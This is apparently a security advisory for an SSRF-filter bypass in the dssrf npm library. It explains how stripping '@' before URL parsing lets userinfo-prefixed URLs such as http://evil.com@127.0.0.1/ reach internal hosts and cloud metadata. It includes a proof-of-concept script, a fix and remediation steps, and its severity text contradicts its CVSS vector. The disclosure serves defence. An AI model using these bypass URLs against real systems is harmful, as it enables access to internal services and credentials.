Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable, unauthenticated, low-complexity SSRF-guard bypass; confidentiality High from reading internal/IMDS data, integrity Low from limited internal request forgery.
Primary rating from Vendor (https://github.com/HackingRepo/dssrf-js).
CVSS VectorVendor: https://github.com/HackingRepo/dssrf-js
Lifecycle Timeline
6DescriptionCVE.org
Summary
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted stringWhat happens step by step
Input: http://evil.com@127.0.0.1/
remove_at_symbol_in_string→http://evil.com127.0.0.1/new URL(...)→hostname = "evil.com127.0.0.1"- Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")→ NXDOMAIN → returns false- Result:
true(safe) - but any HTTP client using the *original* URL connects to127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both - it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL - gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}Root Cause
@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.
Suggested Fix
Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():
const parsed = new URL(u);
// Reject userinfo - '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
return false;
}A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.
Impact
- Affected version: 1.0.3 (latest)
- Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (
169.254.169.254), any internal hostname via userinfo prefix - Note: The GHSA-8p33-q827-ghj5 advisory patched version (
1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4
AnalysisAI
SSRF filter bypass in the dssrf npm library (versions <= 1.0.3) lets attackers defeat the is_url_safe() guard by prefixing a URL with a userinfo component (e.g. http://evil.com@127.0.0.1/). Because remove_at_symbol_in_string() strips the '@' from the raw string before new URL() parses it, the hostname is corrupted into a non-resolving string that passes all internal-IP checks, while an HTTP client fed the original URL still connects to the internal host. Publicly available exploit code exists (working PoC using nock/got in the advisory), though there is no evidence of active exploitation; this vector was missed by the earlier GHSA-8p33-q827-ghj5 fix.
Technical ContextAI
dssrf is a JavaScript/TypeScript SSRF-mitigation library whose is_url_safe() function is meant to reject URLs pointing at internal or link-local addresses before an application fetches them. The flaw is rooted in CWE-76 (Improper Neutralization of Equivalent Special Elements): per RFC 3986, the '@' in a URL authority separates the userinfo (credentials) from the host, and WHATWG's new URL() parser correctly discards userinfo when computing .hostname. By pre-stripping every '@' from the raw string with remove_at_symbol_in_string() before parsing, dssrf merges the userinfo into the host, so 'evil.com@127.0.0.1' becomes the bogus hostname 'evil.com127.0.0.1', which is neither a bare IPv4/IPv6 literal nor resolvable, causing is_hostname_resolve_to_internal_ip() to return NXDOMAIN and the validator to declare the URL safe. The CPE identifies the single affected package as pkg:npm/dssrf.
RemediationAI
Vendor-released patch: upgrade dssrf to 1.0.4, which removes the remove_at_symbol_in_string() call from the URL-safety path and instead rejects any parsed URL whose username or password (userinfo) component is non-empty; see the fix in PR https://github.com/HackingRepo/dssrf-js/pull/98 and commit 9211f91bf532433a1a1b27d946571546a63664b3. If you cannot upgrade immediately, add a compensating pre-check in your own code that rejects any URL where the parsed URL.username or URL.password is non-empty (equivalently, block URLs whose authority contains '@' before the host) before passing it to dssrf or to any HTTP client - the trade-off is that legitimate URLs carrying embedded basic-auth credentials will also be refused, which is acceptable for most SSRF-sensitive fetch paths. As an additional layer, ensure the outbound HTTP client is confined by network egress rules that deny access to loopback, RFC1918, link-local, and 169.254.169.254 (IMDS) ranges, so a validator bypass cannot reach cloud metadata or internal services.
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-51232
GHSA-cg4g-m8jx-vjv2